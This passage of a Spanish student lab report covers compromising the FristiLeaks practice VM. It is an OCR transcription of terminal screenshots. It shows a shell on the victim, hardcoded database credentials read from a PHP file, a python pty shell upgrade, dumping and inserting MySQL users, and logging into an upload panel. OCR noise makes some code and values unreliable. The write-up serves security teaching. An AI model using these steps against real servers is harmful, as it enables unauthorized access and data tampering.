un sitio web. Al usar el comando Is para examinar su contenido, descubri varias
carpetas y archivos dignos de mencion. Entre ellos, resaltaban beer, cola, fristi y
sisi, que aparentan ser carpetas o apartados extra del sitio, quiza empleados para
organizar recursos o funcionalidades concretas. También se aprecian ficheros clave
como index. html, que comunmente representa la pagina de inicio del sitio, y robots.
txt, que habitualmente incluye indicaciones para los buscadores, aunque a veces
puede desvelar rutas ocultas o delicadas en el servidor. Igualmente, esta presente
la carpeta images, que frecuentemente es el sitio para almacenar elementos
gréficos, pero que en ciertas ocasiones puede albergar archivos importantes si no
se administra correctamente.

B eEmP ol 23 2> OO A 73% | @ &
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root@kali: fhome/luis/Escritorio ¥ luis@kali: ~

1s

beer

cola

fristi

images

index.html

robots.txt
sisi
sh-4.1$ cd fristi

cd fristi
sh-4.1% 1s

1s
checklogin.php
do_upload.php
index.php
login_success.php
logout.php
main_login.php
pic.b64
pic2.b64
upload.php
uploads
sh-4.1% |
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sh-4.1$ cat checklogin.php
cat checklogin.php
<?php

ob_start();

$host="1localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4113maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tb1_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username”, "$password”)or die("cannot connect");
mysql_select_db("$db_name” )or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST[ 'myusername’];
$mypassword=$_POST[ 'mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);

$mypassword = stripslashes($mypassword);

$myusername = mysql_real_escape_string($myusername);
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$sql="SELECT * FROM $tb1l_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row
if($count=1){

// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername”);

session_register("mypassword");

header("location:login_success.php");

else {
echo "Wrong Username or Password";

ob_end_flush();
7>

sh-4.1% |
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root@kali: /home/luis/Escritorio B luis@kali: ~ M

$sq1l="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row
if($count=1){

// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");

session_register("mypassword");

header("location:login_success.php");

else {
echo "Wrong Username or Password";

ob_end_flush()
2>
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")

I L EHEE & : o ®
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root@Kkali: fhome/luis/Escritorio B luis@kali: ~ B

sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")
python -c ‘'import pty;pty.spawn("/bin/bash")
bash-4.1$% mysql -u eezeepz -p

mysql -u eezeepz -p

Enter password: 4l13maall2#

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.1.73 Source distribution

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
show databases;

— 4
| Database \

A B 1754

a G
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root@kali: /home/luis/Escritorio B luis@kali: ~ M

show databases;

Database

%
|

o

| information_schema
| hackmenow
-
2

_ AR
rows in set (0.03 sec)

mysql> use hackmenow;

use hackmenow;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;

g o iecho TWro
Tables_in_hackmenow

|
-
| members
-

Sl PO 2 3 o3 [-] " O % a B |a e
root@kali: fhomefluis/Escritorio
Archivo Acciones Editar Vista Ayuda
root@Kkali: fhome/luis/Escritorio B luis@kali: ~ B
Database changed

mysql> show tables;
show tables;

e ey
| Tables_in_hackmenow |
—_— 4
| members |
R
1 row in set (0.00 sec)

mysql> describe members;
describe members;

Extra

id NULL auto_increment
username | varchar(65) NULL
password varchar(65) NULL

Wt ——— —

——a— | ek
rows in set (0.03 sec)

mysql> i
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mysql> describe members;
describe members;
gl =
Null Extra
—_ 4 $s0l="SELECT % FROM $tb
id | No NULL
username varchar(65) | NO NULL
password varchar(65) | NO NULL
- A

auto_increment

3 rows in set (0.83 sec)

mysql> select * from members;

select x from members;
—— 4

| 1d | username | password

—
| 1| eezeepz | keKkeKKeKKeKkEkkEk
—_—
1 row in set (0.01 sec)

mysql> []

BemPoO| 2
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root@kali: fhome/luis/Escritorio ¥ luis@kali: ~ B

1 row in set (0.01 sec)

mysql> INSERT INTO members (username, password) VALUES ('Hanna', 'Maithe');
INSERT INTO members (username, password) VALUES ('Hanna', 'Maithe')
Query OK, 1 row affected (0.01 sec)

mysql> INSERT INTO members (username, password) VALUES ('luchit', 'Cuesta')
INSERT INTO members (username, password) VALUES ('luchit', 'Cuesta');
Query OK, 1 row affected (0.00 sec)

mysql> select * from members;
select * from members;
username | password

keKkeKKeKKeKkEkkEk
Maithe

eezeepz
Hanna
luchit

4
|

+
|
|
|

+

in set (0.02 sec)

llustracion 28 Creacion de los usuarios.
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192.168.100.15/fristi/ X p 3.100.15/ X 192.168. risti/uploa

Bl Captura de pantalla tomada

C @ O & 192.168.100.15 X | 60%

OffSec KaliLinux # KaliTools « KaliDocs X Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Member Login

Anteriormente en la ilustraciéon 15 pudimos apreciar un mensaje de fallo de
autenticacion, en este caso se ha Conseguido acceso al panel, ahora hay una
funcionalidad de subida.

SmP O] 23 4| s | | o ® a B a ¢

192.168.100.15/fristi/login_ http://192.16:

Bl Captura de pantalla tomada

« Cc o O @ 192168.100.15 % | 60%

OffSec Kali Linux g8 KaliTools < KaliDocs ¥ KaliForums X Kali NetHunter Exploit-DB Google Hacking DB

Login successful

upload file Captura de pantalla tomada
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B  192168.100.15/fristi/

Captura de pantalla tomada

« > C o O & 192.168.100.15, 70%

OffSec

Login successful

upload file

Kali Linux # KaliTools « KaliDocs ¥ Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB

Member Logis
Username :

Password : [Cuesta |

[ Login|

oo a e |a c

Bl Captura de pantalla tomada

70%

Kali Linux #8 Kali Tools $ i Forums o Kali NetHunter X ) Google Hacking DB

Il Captura de pantalla tomada



JUSTIFICACION

La realizacion de este laboratorio se justifica en la necesidad de formar
profesionales competentes en seguridad informatica, capaces de identificar riesgos
antes de que sean aprovechados por atacantes malintencionados. El uso de
FristiLeaks como entorno controlado permite experimentar con vulnerabilidades
reales sin comprometer sistemas productivos, lo cual enriquece la experiencia de
aprendizaje y fortalece las competencias practicas del estudiante.
Asimismo, el ejercicio contribuye al entendimiento del ciclo de la ciber seguridad,
que inicia con la deteccién de debilidades y culmina con la implementacion de
medidas de proteccion. En este sentido, el trabajo no solo es un entrenamiento
técnico, sino también una herramienta pedagdgica que promueve la conciencia
sobre la importancia de proteger la informacion y los recursos digitales en un mundo
cada vez mas interconectado.



CONCLUSION

El desarrollo de la practica permitié evidenciar que una configuracién deficiente y la
ausencia de controles de seguridad adecuados pueden facilitar la explotacion de un
sistema. A través de Kali Linux se logro establecer acceso a la maquina victima,
demostrando como vulnerabilidades comunes como la falta de proteccion en
directorios, el uso de formularios inseguros y la gestién inadecuada de archivos
pueden comprometer seriamente la integridad de un  servidor.
De igual manera, se concluye que la seguridad informatica no debe entenderse
Gnicamente como un componente técnico, sin0 como una responsabilidad
estratégica, donde la prevencion, la actualizacion constante y la auditoria proactiva
son claves para salvaguardar los sistemas de informacion. Finalmente, esta
experiencia practica constituye un aporte valioso en la formacion académica, al
proporcionar un acercamiento realista a las dinamicas de ataque y defensa en el
campo de la ciberseguridad.



